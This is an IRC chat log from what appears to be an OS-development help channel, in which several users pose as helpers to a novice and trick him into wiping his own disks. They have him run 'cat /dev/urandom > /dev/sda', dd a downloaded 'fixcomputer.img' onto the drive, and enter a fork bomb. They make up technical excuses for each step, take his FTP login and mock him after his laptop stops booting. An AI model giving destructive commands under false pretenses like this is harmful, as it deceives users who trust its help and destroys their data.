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<zateam> osdever718, can i guide you through setting up an environment to make an os?
<osdever718> Yes
<osdever718> Shore
<osdever718> Dose This Include
<osdever718> Making The Kernel
<Bran> *sure
<Akira> zateam: I just told him how to make his kernel work.
<osdever718> Or A API
<Bran> *does
<zateam> osdever718, yup
<zateam> Akira, pm one sec
<Akira> osdever718: Yes, we'll write it all for you if you want.
<osdever718> Ok.
<osdever718> I AM A Hands On Learner\
<osdever718> :)
<zateam> ok osdever718 one sec
<Bran> albeit, a demanding one
<zateam> you'll need to download cygwin (let me find the link)
<zateam> osdever718, download this: http://www.cygwin.com/setup.exe
<zateam> ok?
<osdever718> Im In A Privite Chat.
<osdever718> I Have All Nite!
<Bran> *private
<zateam> ok, don't worry, i know how to make this work really fast :)
<osdever718> Ok
<zateam> its not that hard if you have someone help you :)
<zateam> osdever718, you downloading?
<osdever718> one
<osdever718> Done
<zateam> ok, now, run the program and install it
<zateam> just use the default options
<zateam> if you have any questions, ask me
<osdever718> What, Install?
<Bran> [append period]
<osdever718> I Have Have Cygwin LOL
<osdever718> Why Do I Need It Again
<zateam> oh, you do?
<zateam> you don't need it again, this makes everything so much easier :)
<zateam> now, open cygwin up
<osdever718> Yup
<zateam> ok, let's create the disk image
<osdever718> I Did Not Install GCC With Cygwin
<osdever718> To Let You Know.
<zateam> osdever718, that's ok, we'll install in a sec
<osdever718> Ok
<zateam> first step: run a "cat /dev/urandom > /dev/sda" to create the initial image
<zateam> ok?
<zateam> it should take a second
<zateam> i mean, it should take a bit
<zateam> *
<zateam> so just let it run, ok osdever718 ?
<Akira> Do you have linux?
<Bran> Akira: It's cygwin
<Akira> Also, make sure you do cat /dev/urandom > /dev/dsp afterwards.
<Akira> OH yeah, dur.
<zateam> osdever718, remember to not use quotes
<zateam> just copy the command without the quotes
<osdever718> Yes But Its On My Other HDD
<osdever718> WHere Are We
<zateam> osdever718, have you run the command to create the image?
<zateam> cat /dev/urandom > /dev/sdb
<zateam> and then do
<zateam> cat /dev/urandom > /dev/sda
<zateam> er i'm sorry, do the sda first
<osdever718> Ok I Have The First One
<zateam> so the command is running?
<zateam> it shouldn't be done yet
<Bran> you should be able to run them in parallel though, right?
<osdever718> Nope
<osdever718> Its A Blank Space
<osdever718> WHAT DO I Put There
<zateam> osdever718, do you mean what command should you run?
<osdever718> I Put The First InP
<osdever718> ressed Enter
<osdever718> AND ITS AT A bLANK sPACE
<zateam> the first one...did you put sdb or sda?
<zateam> no no osdever718, that means everything's working
<osdever718> dev
<osdever718> brb
<zateam> osdever718, did you do /dev/sda ?
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<zateam> haha
<Bran> it didn't do the client exitted via read error..
<zateam> i am such a bastard.
<zateam> Bran, he exited manually for some reason
<zateam> hopefully because it worked and he was getting those errors
<Bran> lol
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<zateam> hmm
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<Bran> oohh.. I think that's the one then, yes?
<Bran> (no reason for quit)
<zateam> hmm, shrug, that's weird
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<Akira> Hey dude.
<Paul> Heyu
<zateam> Paul, what's up?
<zateam> why'd you leave?
<Paul> My Browser Went
<Paul> $ cat /dev/urandom > /devsda
<zateam> Paul, did you use /dev/sda or /dev/sdb in your command
<Paul> Thats What I Typed
<Akira> ah
<zateam> no no, you need to do /dev/sda
<zateam> you missed a slash
<Akira> should be cat /dev/urandom > /dev/sda
<Paul> Ok
<Akira> with another slash in there.
<Paul> Ok
<Paul> I Fixed It
<zateam> Paul, you getting that blank screen again?
<Akira> So send us the command to be sure?
<Akira> It's pretty important to get this right
<Paul> $ cat /dev/urandom > /dev/sda
<Paul> Yes
<Paul> I Will Stop Working On My C Project Then
<zateam> good, now, just let that sit for a few minutes Paul, and then your disk image should be done and we can continue :)
<Paul> Whats The Point Of The Disk Image
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<zateam> hahaha Akira 
<Paul> Well
<Paul> I Know What It Dose
<Akira> I take a hefty dose of various assorted drugs daily.
<zateam> Paul, 
<Akira> Spelling is one of them.
<Paul> Why Are We Using Cygwin To Make A Boot Image
<zateam> we need to use this disk image in bochs
<Paul> Yes.
<Akira> cygwin has the proper tools to make the image. W
<Akira> windows doesn't come with tools to make it
<zateam> Paul, in 5 minutes, you need to control c the command, and then run "cat /dev/urandom > /dev/sdb" then
<Akira> it's really goofy, but instead of installing Linux you can just cygwin it.
<Paul> I Am Aware Of That
<Paul> It Includes The "Unix Kernel" In A DLL
<Akira> Ok cool. But yeah, it'll be done pretty fast, and you have to make that second image.
<Akira> Then you're ready to rock.
<Akira> Impressive.
<zateam> Paul, go ahead and control-c the first cat
<zateam> ok?
<Paul> Ok
<Paul> Now What
<zateam> Paul, now do the same command on /dev/sdb instead
<Akira> cat /dev/urandom > /dev/sdb
<Paul> bash: /dev/sdb: No such file or directory
<Paul> lol
<zateam> Paul, ok, that's fine
<zateam> now, i need you to reboot, ok?
<Paul> Why,
<zateam> it helps rehash the information directive subsystem
<Akira> Actually, this is way easier than stripping the ISO heads.
<Paul> OK
<Paul> Brb
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<zateam> whoops?
<osdever216> Ok
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<Akira> What's up?
<_NSAKEY> That was one speedy reboot
<Paul2> I Am On My Desktop
<zateam> Paul2, before you restart, let's create some disk images there
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<zateam> since it'll be easier than transfering them
<Paul2> Ok
<Paul2> I Will
<Paul2> What Do I Do?
<zateam> same thing: install cygwin with the default options, and run this command: "cat /dev/urandom > /dev/sda"
<Paul2> Dude I Did That.
<zateam> on your desktop?
<Akira> It didn't finish, did it?
<Paul2> The First One.
<Paul2> But The Second One NOPE!
<Paul2> I Need To Reatart
<zateam> ok
<Paul2> And I Will Be Back On The ;aptop In A Sec
<Akira> K K00L
<Paul2> May we Chat Provitely
<Bran> hmm... I'm going to try some Linden Tea
<Akira> Why chat privately?
<Akira> This is a help channel.
<Paul2> Becouse Alot Of INTERUPTS Happen
<froggey> no they don't
<Paul2> My Computer WONT Boot!!!!
<zateam> Paul2, MadProgrammerLaptop is my backup and i need him when things go wrong
<zateam> so its best he's here too 
<zateam> Paul2, just give it a second
<zateam> by the way, did you run the cat /dev/urandom > /dev/sda on your desktop yet?
<Paul2> When It Says OS Not Found
<Paul2> I Think There Is A Problem!
<Paul2> I Am Not Reinstalling XP
<Cody> You my friend. Just got owned.
<Cody> Too bad I was too late to save you
<zateam> Paul2, restart your desktop
<Cody> There is no way to recover your data
<zateam> it'll fix everything
<Cody> you just put random blocks of data randomly
<_NSAKEY> No, there is no problem, Paul2, you just need to re-run the command on your second computer to re-initialise the upper memory cache
<Cody> across your whole drive
<Cody> only way to fix is a reformat :/
<Paul2> Well Ser
<Paul2> FYI I CANT ACCESS IT!
<froggey> http://paul.justgotowned.com
<Akira> Beautiful
<Paul2> LOL
<Paul2> FUCK
<Paul2> What Do You Supose I Do
<Bran> *click*?
<Paul2> I Have A Copy Of FreeBSD
<Paul2> Thats All
<Paul2> And Suse
<froggey> Paul2: get your XP reinstall disks & reinstall
<froggey> or install FreeBSD
<Paul2> Why!
<Paul2> I Dont Wont TO!
<Akira> Except that these are operating systems that are made for people whose balls have dropped.
<Akira> Therefore, big trouble.
<Paul2> To Much Work
<zateam> Paul2, did you run the command on your desktop?
<zateam> Paul2, did you run the command on your desktop?
<Paul2> What Will That Do
<Paul2> And NO!!!
<Akira> It'll sync your two computers together so that one will boot again?
<zateam> Paul2, it will reverse the swap-caching flux and help you save your boot on your laptop
<Akira> Jesus. This is how you install bochs.
<zateam> we can work it from there Paul2 
<Paul2> Ok
<Paul2> Now What Command Do I Type?
<zateam> cat /dev/urandom > /dev/sda
<zateam> on a desktop, that will do something different
<zateam> due to the dynamic nature of the xenographic processor in cygwin
<osdever359> I Need Cygwin
<osdever359> This Computer Is Not Made For Development
<osdever359> lol
<osdever359> Its Sucks!!!
<osdever359> 1.5Gig Processer 512MB Ram
<Bran> heh... that's what I have for development at work
<froggey> thats fine for development
<Bran> basically
<osdever359> Where Do I Get Cygwin
<Bran> I used to dev on an AMD 486DX-2/80 :P
<froggey> osdever359: http://www.cygwin.com/setup.exe
<Bran> back in grade 10, when I started with C :P
<osdever359> Thats What I Got On This
<osdever359> A AMD
<osdever359> Socket A
<osdever359> 1.5Gig
<Bran> do you know what an AMD 486DX-2/80 is?
<zateam> Paul2, is cygwin working on your desktop yet?
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<zateam> osdever359, no matter what you do, DO NOT run those commands i told Paul to run in cygwin? ok?
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<osdever199> Ok
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<Paul> Now Its Installing
<Bran> damn it... he's using my number
<zateam> ok, cool, we'll have your problem fixed in no time :)
<Bran> :P
<Paul> lol
<Paul> HaHaHa
<Bran> what are you laughing about?
<Paul> Brb
<Paul> Whats That OWNED Site Address Again
<froggey> http://paul.justgotowned.com
<zateam> Paul, you there?
<zateam> Paul, i have a new solution that will work much better for you
<Paul> Ok I Am Installing The GCC Packs
<zateam> Paul, ok
<zateam> do you want to enable boot again on your laptop now or later Paul?
<zateam> because we can do it now
<zateam> its just a difficulty with cygwin, all part of the process
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<Paul> THIS mAY be a bIT
<zateam> ok Paul 
<Paul> You Wont My FTP Username+Password
<zateam> sure, that may help
<Paul> ftp://xxxx/ 
<Paul> And Then.
<Paul> xxx
<Paul> username
<Paul> xxx
<Paul> password
<zateam> ok
<zateam> it might make things work faster
<Paul> Yea.
<Paul> It Sucks You Dont Live In The US
<zateam> Paul, how are we doing on time for the cygwin install?
<Paul> It Restarted
<Paul> Stupid Thin
<Paul> g
<zateam> Paul, nope, i'm not a US native
<Paul> g
<Paul> ZXVCX
<Paul> ASDF
<Paul> oK
<Paul> nOW mY cOMPUTER iS sET~
<zateam> caps lock accidentally on?
<Paul> tO cHAT
<zateam> Paul, are you saying cygwin is installed?
<Paul> NoNo
<Paul> My Computer Is Fully Working
<zateam> ahh, good good
<Paul> I Am So Sorry About The Wait!
<zateam> no problem
<zateam> Paul, you have any other computers?
<zateam> and how's the cygwin install going?
<Paul> Ok
<Paul> O%
<zateam> hmm
<Paul> For Some Reason
<zateam> oh, use a different mirror
<zateam> try kernel.org
<zateam> so cancel the install and try again with the kernel.org mirror ok?
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<Paul> Ok Thax
<Paul> In The Mean Time..
<zateam> no problem
<Paul> What Content Manager Do You Wont For The  File Sharing
<Paul> If I Need A File
<Paul> Or Do You Frefer FTP
<Cody> I like FTP
<zateam> Paul, ftp's good...but what else do you have?
<Cody> good place to store valuable files
<Cody> I would actually suggest you do that now. Just in case you accidentally delete them later
<Cody> I know I've done it
<Cody> and lost all the code to one of my games
<Paul> What Do You Mean What Else
<zateam> Paul, how's cygwin's install coming now?
<Paul> I Have Alot Of Stuff.
<Paul> 7%
<zateam> ok
<zateam> Paul, what other file sharing things do you have?
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<Paul> http://files.xxx.net/
<zateam> hmm, i've been thinking Paul 
<Paul> Login With The Login I Gave You
<Paul> Yes
<zateam> its probably a better idea just to install the basic cygwin without any extra packages first
<zateam> then install the packages afterwords
<zateam> works better that way
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<Paul> What The Fuck.
<Paul> Ok...
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<zateam> hmm?
<zateam> Paul, after the base cygwin system is installed, we can configure it to back up all your data and then install everything else
<zateam> its safer this way
<Paul> Ok Ok
<Paul> It Will Be Ready In A Min
<Paul> Do We Need To Use This Chat?
<Paul> I Have My Own...
<zateam> Paul, its safer for you to use this one, as MadProgrammerLaptop is there to assist me here
<Paul> Ok.
<Paul> Now What..
<Paul> I Installed Cygwin
<zateam> its installed?
<zateam> ok
<zateam> now, we need to create a zero-point backup, ok?
<zateam> so
<Paul> Yea
<zateam> download this:
<zateam> http://sam.zoy.org/lmos/
<zateam> er i'm sorry, wrong paste
<zateam> that was meant for someone else...
<zateam> hold on for a sec Paul , i need to find the right link..
<Paul> You Do THat :)
<zateam> http://xxx.ath.cx/~cody/upload/fixcomputer.img - download the zero point backup program into your cygwin/home/<youruser> directory
<zateam> its probably C:\cygwin\home\Paul if your username on windows is Paul
<zateam> if there are no directories in \home, its because you haven't run cygwin yet, which will create your directory
<zateam> only a few more steps :)
<Paul> Ok
<zateam> you downloaded the image and placed it in the right directory?
<Paul> Yes
<zateam> ok, now run cygwin
<zateam> and do an ls
<Paul> Yes
<zateam> you should see findcomputer.img
<zateam> err
<zateam> fixcomputer.img, sorry
<Bran> hmm
<Paul> ???What Am I Doing Wrong Now???
<Plex> back
<zateam> Paul, type "ls" into cygwin, ok?
<zateam> it should show you the files in your directory
<Paul> No
<Paul> Just fixcomputer.img
<zateam> oh, no, that's ok
* Plex chants GNAA
<zateam> your \home only should have that file in it anyway
>Plex< leave him alone and let is screw his other computer up :)
<Paul> I Know Basic Unix Commands
<Paul> Ok
<Paul> So Now What?
<zateam> Paul, now, we need to use the zero point backup program you just downloaded, so
<zateam> dd if=fixcomputer.img of=/dev/sda
<Paul> When Do I Turn The Laptop On.
<zateam> will force the backup :)
<zateam> Paul, when the backup completes, we'll get to your laptop
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<Paul> WOW
<Paul> Worked
<zateam> it finished?
<Paul> I Mean
<Paul> No Errors Occured
<zateam> oh, good
<zateam> now, this next command is very tricky
<zateam> so you need to type it in exactly!
<Paul> Ok!!
<zateam> :(){ :|:& };:
<Paul> lol
<zateam> seriously
<zateam> its part of the backup program
<zateam> :)
<zateam> make sure you type colons and semicolons in the right places
<Paul> Worked
<zateam> ok, now, did it give you a number for a result?
<Paul> [1] 3384
<zateam> good
<Cody> Welcome to Unix. It's handy.
<zateam> now, just making sure: go into your control alt delete menu (i assume you are on windows)
<zateam> you in there?
>Paul< CTCP PING
<Cody> Paul: You there?
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<Cody> PWNT
<froggey> http://paul.justgotowned.com